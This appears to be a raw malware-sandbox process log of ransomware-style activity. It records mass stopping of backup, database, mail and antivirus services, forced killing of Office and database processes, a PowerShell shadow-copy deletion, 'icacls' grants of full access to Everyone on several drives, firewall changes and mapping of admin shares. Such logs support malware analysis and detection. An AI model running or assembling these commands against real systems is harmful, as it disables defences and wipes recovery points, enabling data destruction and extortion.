C:\Windows\system32\net.exe"net.exe" stop MsDtsServer /y2⤵PID:3016
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MsDtsServer /y3⤵PID:3040
-
-
-
C:\Windows\system32\net.exe"net.exe" stop swi_update /y2⤵PID:2880
-
-
C:\Windows\system32\net.exe"net.exe" stop IISAdmin /y2⤵PID:3056
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop IISAdmin /y3⤵PID:912
-
-
-
C:\Windows\system32\net.exe"net.exe" stop swi_update_64 /y2⤵PID:368
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop swi_update_64 /y3⤵PID:1284
-
-
-
C:\Windows\system32\net.exe"net.exe" stop POP3Svc /y2⤵PID:2012
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop POP3Svc /y3⤵PID:2136
-
-
-
C:\Windows\system32\net.exe"net.exe" stop Smcinst /y2⤵PID:2096
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Smcinst /y3⤵PID:2140
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MSExchangeES /y2⤵PID:1384
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeES /y3⤵PID:2100
-
-
-
C:\Windows\system32\net.exe"net.exe" stop SQLAgent$VEEAMSQL2012 /y2⤵PID:2072
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLAgent$VEEAMSQL2012 /y3⤵PID:2204
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MSExchangeMGMT /y2⤵PID:2160
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeMGMT /y3⤵PID:2196
-
-
-
C:\Windows\system32\net.exe"net.exe" stop SQLAgent$PROFXENGAGEMENT /y2⤵PID:2188
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLAgent$PROFXENGAGEMENT /y3⤵PID:2316
-
-
-
C:\Windows\system32\net.exe"net.exe" stop “Sophos Agent” /y2⤵PID:2236
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop “Sophos Agent” /y3⤵PID:2252
-
-
-
C:\Windows\system32\net.exe"net.exe" stop TmCCSF /y2⤵PID:2164
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop TmCCSF /y3⤵PID:2336
-
-
-
C:\Windows\system32\net.exe"net.exe" stop “Sophos Clean Service” /y2⤵PID:2332
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop “Sophos Clean Service” /y3⤵PID:2380
-
-
-
C:\Windows\system32\net.exe"net.exe" stop SmcService /y2⤵PID:2324
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SmcService /y3⤵PID:2416
-
-
-
C:\Windows\system32\net.exe"net.exe" stop EraserSvc11710 /y2⤵PID:2288
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop EraserSvc11710 /y3⤵PID:2404
-
-
-
C:\Windows\system32\net.exe"net.exe" stop SQLBrowser /y2⤵PID:2280
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLBrowser /y3⤵PID:2452
-
-
-
C:\Windows\system32\net.exe"net.exe" stop SQLAgent$SBSMONITORING /y2⤵PID:2436
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLAgent$SBSMONITORING /y3⤵PID:2536
-
-
-
C:\Windows\system32\net.exe"net.exe" stop SMTPSvc /y2⤵PID:2428
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SMTPSvc /y3⤵PID:2480
-
-
-
C:\Windows\system32\net.exe"net.exe" stop msftesql$PROD /y2⤵PID:2392
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop msftesql$PROD /y3⤵PID:2620
-
-
-
C:\Windows\system32\net.exe"net.exe" stop tmlisten /y2⤵PID:2544
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop tmlisten /y3⤵PID:2484
-
-
-
C:\Windows\system32\net.exe"net.exe" stop SntpService /y2⤵PID:2512
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SntpService /y3⤵PID:2652
-
-
-
C:\Windows\system32\net.exe"net.exe" stop ReportServer$SQL_2008 /y2⤵PID:2504
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop ReportServer$SQL_2008 /y3⤵PID:2616
-
-
-
C:\Windows\system32\net.exe"net.exe" stop SstpSvc /y2⤵PID:2636
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SstpSvc /y3⤵PID:2640
-
-
-
C:\Windows\system32\net.exe"net.exe" stop SQLSafeOLRService /y2⤵PID:2584
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLSafeOLRService /y3⤵PID:2716
-
-
-
C:\Windows\system32\net.exe"net.exe" stop SQLAgent$SHAREPOINT /y2⤵PID:2624
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLAgent$SHAREPOINT /y3⤵PID:2816
-
-
-
C:\Windows\system32\net.exe"net.exe" stop “SQLsafe Filter Service” /y2⤵PID:2704
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop “SQLsafe Filter Service” /y3⤵PID:2740
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MSExchangeMTA /y2⤵PID:2748
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeMTA /y3⤵PID:2696
-
-
-
C:\Windows\system32\net.exe"net.exe" stop “Sophos Device Control Service” /y2⤵PID:2780
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop “Sophos Device Control Service” /y3⤵PID:2800
-
-
-
C:\Windows\system32\net.exe"net.exe" stop TrueKey /y2⤵PID:2736
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop TrueKey /y3⤵PID:2772
-
-
-
C:\Windows\system32\net.exe"net.exe" stop sophossps /y2⤵PID:2868
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop sophossps /y3⤵PID:2944
-
-
-
C:\Windows\system32\net.exe"net.exe" stop ReportServer$TPSAMA /y2⤵PID:2916
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop ReportServer$TPSAMA /y3⤵PID:3012
-
-
-
C:\Windows\system32\net.exe"net.exe" stop SQLSERVERAGENT /y2⤵PID:2844
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLSERVERAGENT /y3⤵PID:2912
-
-
-
C:\Windows\system32\net.exe"net.exe" stop ReportServer$SYSTEM_BGC /y2⤵PID:2888
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop ReportServer$SYSTEM_BGC /y3⤵PID:2984
-
-
-
C:\Windows\system32\net.exe"net.exe" stop SQLAgent$SQL_2008 /y2⤵PID:2972
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLAgent$SQL_2008 /y3⤵PID:864
-
-
-
C:\Windows\system32\net.exe"net.exe" stop TrueKeyScheduler /y2⤵PID:2968
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop TrueKeyScheduler /y3⤵PID:1620
-
-
-
C:\Windows\system32\net.exe"net.exe" stop SQLAgent$SOPHOS /y2⤵PID:2040
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLAgent$SOPHOS /y3⤵PID:624
-
-
-
C:\Windows\system32\net.exe"net.exe" stop “Zoolz 2 Service” /y2⤵PID:1600
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop “Zoolz 2 Service” /y3⤵PID:600
-
-
-
C:\Windows\system32\net.exe"net.exe" stop “Symantec System Recovery” /y2⤵PID:1200
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop “Symantec System Recovery” /y3⤵PID:1092
-
-
-
C:\Windows\system32\net.exe"net.exe" stop SQLTELEMETRY /y2⤵PID:1232
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLTELEMETRY /y3⤵PID:2768
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MSOLAP$TPS /y2⤵PID:1724
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSOLAP$TPS /y3⤵PID:2356
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MSOLAP$SQL_2008 /y2⤵PID:1336
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSOLAP$SQL_2008 /y3⤵PID:336
-
-
-
C:\Windows\system32\net.exe"net.exe" stop SQLAgent$SQLEXPRESS /y2⤵PID:672
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLAgent$SQLEXPRESS /y3⤵PID:2804
-
-
-
C:\Windows\system32\net.exe"net.exe" stop “aphidmonitorservice” /y2⤵PID:332
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop “aphidmonitorservice” /y3⤵PID:872
-
-
-
C:\Windows\system32\net.exe"net.exe" stop TrueKeyServiceHelper /y2⤵PID:2732
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop TrueKeyServiceHelper /y3⤵PID:2776
-
-
-
C:\Windows\system32\net.exe"net.exe" stop UI0Detect /y2⤵PID:2044
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop UI0Detect /y3⤵PID:2024
-
-
-
C:\Windows\system32\net.exe"net.exe" stop svcGenericHost /y2⤵PID:1500
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop svcGenericHost /y3⤵PID:1408
-
-
-
C:\Windows\system32\net.exe"net.exe" stop msexchangeadtopology /y2⤵PID:944
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop msexchangeadtopology /y3⤵PID:3044
-
-
-
C:\Windows\system32\net.exe"net.exe" stop SQLTELEMETRY$ECWDB2 /y2⤵PID:1952
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLTELEMETRY$ECWDB2 /y3⤵PID:1612
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MSExchangeSA /y2⤵PID:1756
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeSA /y3⤵PID:344
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MSSQL$ECWDB2 /y2⤵PID:748
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL$ECWDB2 /y3⤵PID:1572
-
-
-
C:\Windows\system32\net.exe"net.exe" stop “Sophos MCS Agent” /y2⤵PID:3052
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop “Sophos MCS Agent” /y3⤵PID:1580
-
-
-
C:\Windows\system32\net.exe"net.exe" stop WRSVC /y2⤵PID:3004
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WRSVC /y3⤵PID:2068
-
-
-
C:\Windows\system32\net.exe"net.exe" stop “Sophos File Scanner Service” /y2⤵PID:2176
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop “Sophos File Scanner Service” /y3⤵PID:2092
-
-
-
C:\Windows\system32\net.exe"net.exe" stop AcrSch2Svc /y2⤵PID:2116
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AcrSch2Svc /y3⤵PID:2128
-
-
-
C:\Windows\system32\net.exe"net.exe" stop mssql$vim_sqlexp /y2⤵PID:2108
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop mssql$vim_sqlexp /y3⤵PID:2120
-
-
-
C:\Windows\system32\net.exe"net.exe" stop audioendpointbuilder /y2⤵PID:2084
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop audioendpointbuilder /y3⤵PID:2300
-
-
-
C:\Windows\system32\net.exe"net.exe" stop ReportServer$TPS /y2⤵PID:2216
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop ReportServer$TPS /y3⤵PID:2308
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MSOLAP$TPSAMA /y2⤵PID:2240
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSOLAP$TPSAMA /y3⤵PID:2272
-
-
-
C:\Windows\system32\net.exe"net.exe" stop vapiendpoint /y2⤵PID:2256
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop vapiendpoint /y3⤵PID:2132
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MSSQL$SBSMONITORING /2⤵PID:2292
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL$SBSMONITORING /3⤵PID:2304
-
-
-
C:\Windows\system32\net.exe"net.exe" stop “Veeam Backup Catalog Data Service” /y2⤵PID:2264
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop “Veeam Backup Catalog Data Service” /y3⤵PID:2432
-
-
-
C:\Windows\system32\net.exe"net.exe" stop “intel(r) proset monitoring service” /y2⤵PID:2380
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop “intel(r) proset monitoring service” /y3⤵PID:2536
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MSOLAP$SYSTEM_BGC /y2⤵PID:2460
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSOLAP$SYSTEM_BGC /y3⤵PID:2548
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MSSQL$SBSMONITORING /y2⤵PID:2400
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL$SBSMONITORING /y3⤵PID:2484
-
-
-
C:\Windows\system32\net.exe"net.exe" stop msexchangeimap4 /y2⤵PID:2492
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop msexchangeimap4 /y3⤵PID:2588
-
-
-
C:\Windows\system32\net.exe"net.exe" stop W3Svc /y2⤵PID:2516
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop W3Svc /y3⤵PID:2528
-
-
-
C:\Windows\system32\net.exe"net.exe" stop AVP /y2⤵PID:2652
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVP /y3⤵PID:2752
-
-
-
C:\Windows\system32\net.exe"net.exe" stop “Sophos MCS Client” /y2⤵PID:2616
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop “Sophos MCS Client” /y3⤵PID:2604
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MSExchangeSRS /y2⤵PID:2680
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeSRS /y3⤵PID:2828
-
-
-
C:\Windows\system32\net.exe"net.exe" stop ARSM /y2⤵PID:2696
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop ARSM /y3⤵PID:2740
-
-
-
C:\Windows\system32\net.exe"net.exe" stop BackupExecVSSProvider /y2⤵PID:2684
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecVSSProvider /y3⤵PID:2744
-
-
-
C:\Windows\system32\net.exe"net.exe" stop “Sophos Health Service” /y2⤵PID:2764
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop “Sophos Health Service” /y3⤵PID:3028
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MSSQL$BKUPEXEC /y2⤵PID:2848
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL$BKUPEXEC /y3⤵PID:2852
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MSSQL$SHAREPOINT /y2⤵PID:2660
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL$SHAREPOINT /y3⤵PID:2840
-
-
-
C:\Windows\system32\net.exe"net.exe" stop DCAgent /y2⤵PID:2956
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop DCAgent /y3⤵PID:2992
-
-
-
C:\Windows\system32\net.exe"net.exe" stop unistoresvc_1af40a /y2⤵PID:2964
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop unistoresvc_1af40a /y3⤵PID:1852
-
-
-
C:\Windows\system32\net.exe"net.exe" stop “Sophos Message Router” /y2⤵PID:864
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop “Sophos Message Router” /y3⤵PID:2988
-
-
-
C:\Windows\system32\net.exe"net.exe" stop BackupExecAgentAccelerator /y2⤵PID:1748
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecAgentAccelerator /y3⤵PID:1792
-
-
-
C:\Windows\system32\net.exe"net.exe" stop “Sophos Safestore Service” /y2⤵PID:2156
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop “Sophos Safestore Service” /y3⤵PID:768
-
-
-
C:\Windows\system32\net.exe"net.exe" stop BackupExecAgentBrowser /y2⤵PID:2688
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecAgentBrowser /y3⤵PID:960
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MSSQL$PRACTICEMGT /y2⤵PID:2276
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL$PRACTICEMGT /y3⤵PID:1440
-
-
-
C:\Windows\system32\net.exe"net.exe" stop “Sophos System Protection Service” /y2⤵PID:792
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop “Sophos System Protection Service” /y3⤵PID:2056
-
-
-
C:\Windows\system32\net.exe"net.exe" stop BackupExecDeviceMediaService /y2⤵PID:2124
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecDeviceMediaService /y3⤵PID:336
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MSSQL$PRACTTICEBGC /y2⤵PID:2804
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL$PRACTTICEBGC /y3⤵PID:2388
-
-
-
C:\Windows\system32\net.exe"net.exe" stop “Sophos Web Control Service” /y2⤵PID:1280
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop “Sophos Web Control Service” /y3⤵PID:2260
-
-
-
C:\Windows\system32\net.exe"net.exe" stop BackupExecJobEngine /y2⤵PID:2008
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecJobEngine /y3⤵PID:2004
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MSSQL$PROD /y2⤵PID:1648
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL$PROD /y3⤵PID:2020
-
-
-
C:\Windows\system32\net.exe"net.exe" stop AcronisAgent /y2⤵PID:784
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AcronisAgent /y3⤵PID:2032
-
-
-
C:\Windows\system32\net.exe"net.exe" stop BackupExecManagementService /y2⤵PID:1612
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecManagementService /y3⤵PID:3020
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MSSQL$PROFXENGAGEMENT /y2⤵PID:2080
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL$PROFXENGAGEMENT /y3⤵PID:344
-
-
-
C:\Windows\system32\net.exe"net.exe" stop Antivirus /y2⤵PID:2580
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Antivirus /y3⤵PID:3068
-
-
-
C:\Windows\system32\net.exe"net.exe" stop BackupExecRPCService /y2⤵PID:1284
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecRPCService /y3⤵PID:3036
-
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM mspub.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2232
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM synctime.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1388
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM mydesktopqos.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2168
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM mspub.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2112
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM mydesktopservice.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2448
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM sqbcoreservice.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2420
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM agntsvc.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2548
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM Ntrtscan.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2376
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM mysqld.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2612
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM firefoxconfig.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2760
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM isqlplussvc.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2708
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM thebat.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2872
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM steam.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:472
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM sqlwriter.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2900
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM onenote.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3012
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM ocomm.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2928
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM encsvc.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2516
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM infopath.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2288
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM PccNTMon.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2888
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM tbirdconfig.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2504
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM excel.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2216
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM dbeng50.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2176
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM msaccess.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2116
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM mbamtray.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2428
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM CNTAoSMgr.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2968
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM thebat64.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1884
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM outlook.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2016
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM zoolz.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:752
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" IM thunderbird.exe /F2⤵
- Kills process with taskkill
PID:1824
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM tmlisten.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1008
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM wordpad.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1812
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM dbsnmp.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1596
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM mysqld-opt.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3048
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM xfssvccon.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1888
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM msftesql.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3036
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM ocautoupds.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2268
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM powerpnt.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2220
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM ocssd.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2152
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM mydesktopqos.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2304
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM oracle.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2528
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM visio.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2724
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM sqlagent.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2752
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM mydesktopservice.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2840
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM sqlbrowser.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2984
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM winword.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2772
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM sqlservr.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2736
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" /IM mysqld-nt.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1140
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2256
-
-
C:\Windows\system32\icacls.exe"icacls" "D:*" /grant Everyone:F /T /C /Q2⤵
- Modifies file permissions
PID:1748
-
-
C:\Windows\system32\icacls.exe"icacls" "C:*" /grant Everyone:F /T /C /Q2⤵
- Modifies file permissions
PID:864
-
-
C:\Windows\system32\icacls.exe"icacls" "Z:*" /grant Everyone:F /T /C /Q2⤵
- Modifies file permissions
PID:2916
-
-
C:\Windows\system32\netsh.exe"netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes2⤵PID:2448
-
-
C:\Windows\system32\netsh.exe"netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes2⤵PID:3004
-
-
C:\Windows\system32\net.exe"net.exe" use \\127.0.0.1\Users2⤵PID:2512
-
-
C:\Windows\system32\net.exe"net.exe" use \\127.0.0.1\A$2⤵PID:944
-
-
C:\Windows\system32\net.exe"net.exe" use \\127.0.0.1\B$2⤵PID:1576
-
-
C:\Windows\system32\net.exe"net.exe" use \\127.0.0.1\C$2⤵PID:624
-
-
C:\Windows\system32\net.exe"net.exe" use \\127.0.0.1\D$2⤵PID:1440
-
-
C:\Windows\system32\net.exe"net.exe" use \\127.0.0.1\E$2⤵PID:1336
-
-
C:\Windows\system32\net.exe"net.exe" use \\127.0.0.1\F$2⤵PID:600
-
-
C:\Windows\system32\net.exe"net.exe" use \\127.0.0.1\G$2⤵PID:2832
-
-
C:\Windows\system32\net.exe"net.exe" use \\127.0.0.1\H$2⤵PID:292
-
-
C:\Windows\system32\net.exe"net.exe" use \\127.0.0.1\I$2⤵PID:948
-
-
C:\Windows\system32\net.exe"net.exe" use \\127.0.0.1\J$2⤵PID:1496
-
-
C:\Windows\system32\net.exe"net.exe" use \\127.0.0.1\K$2⤵PID:928
-
-
C:\Windows\system32\net.exe"net.exe" use \\127.0.0.1\L$2⤵PID:912
-
-
C:\Windows\system32\net.exe"net.exe" use \\127.0.0.1\M$2⤵PID:2572
-
-
C:\Windows\system32\net.exe"net.exe" use \\127.0.0.1\N$2⤵PID:1580
-
-
C:\Windows\system32\net.exe"net.exe" use \\127.0.0.1\O$2⤵PID:2184
-
-
C:\Windows\system32\net.exe"net.exe" use \\127.0.0.1\P$2⤵PID:2336
-
-
C:\Windows\system32\net.exe"net.exe" use \\127.0.0.1\Q$2⤵PID:2344
-
-
C:\Windows\system32\net.exe"net.exe" use \\127.0.0.1\R$2⤵PID:2440
-
-
C:\Windows\system32\net.exe"net.exe" use \\127.0.0.1\S$2⤵PID:2532
-
-
C:\Windows\system32\net.exe"net.exe" use \\127.0.0.1\T$2⤵PID:2808
-
-
